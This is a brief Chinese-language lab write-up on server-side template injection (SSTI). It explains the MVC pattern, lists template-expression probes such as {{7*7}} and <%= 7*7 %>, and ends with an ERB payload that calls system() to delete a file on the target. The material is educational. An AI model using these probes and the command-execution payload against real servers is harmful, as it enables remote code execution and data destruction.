SSTI 就是伺服器端範本注入(Server-Side Template Injection)當用戶輸入在伺服器端模板中不安全地嵌入時就可能產生。攻擊者可以注入模板指令並在伺服器上執行任意程式碼或命令。
MVC模式分別為 M(model)模型,V(view)視圖,C(controler)控制器。
view
向使用者展現資料,通過controler
控制查詢的操作。view
信息之後,向model
發送指令。使用MVC模式的web框架的工作原理:
controler
。model
跑程式和資料庫存取。view
,經過範本渲染展示給使用者。View層負責渲染和顯示用戶界面。若該層接收並處理了惡意輸入,而又沒有適當的輸入驗證或過濾,則可能會產生SSTI漏洞。
伺服器端範本引擎的主要工作是將資料插入到靜態範本中,生成動態HTML頁面。如果攻擊者能夠控制插入到範本中的資訊,並讓它作為範本程式碼執行,那麼他們就可以利用該漏洞在伺服器上執行任意程式碼。
{{7*7}}
,然後查看回應是否包含我們要的結果,例如 49
。點開一個商品,出現Unfortunately this product is out of stock
,發現應該是由模板生成
測試一下
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
*{7*7}
應該是 <%= 7*7 %>
有戲
ㄟ嘿對了,那就依照那個寫法寫一下我們要搞的事
<%= system("rm /home/carlos/morale.txt") %>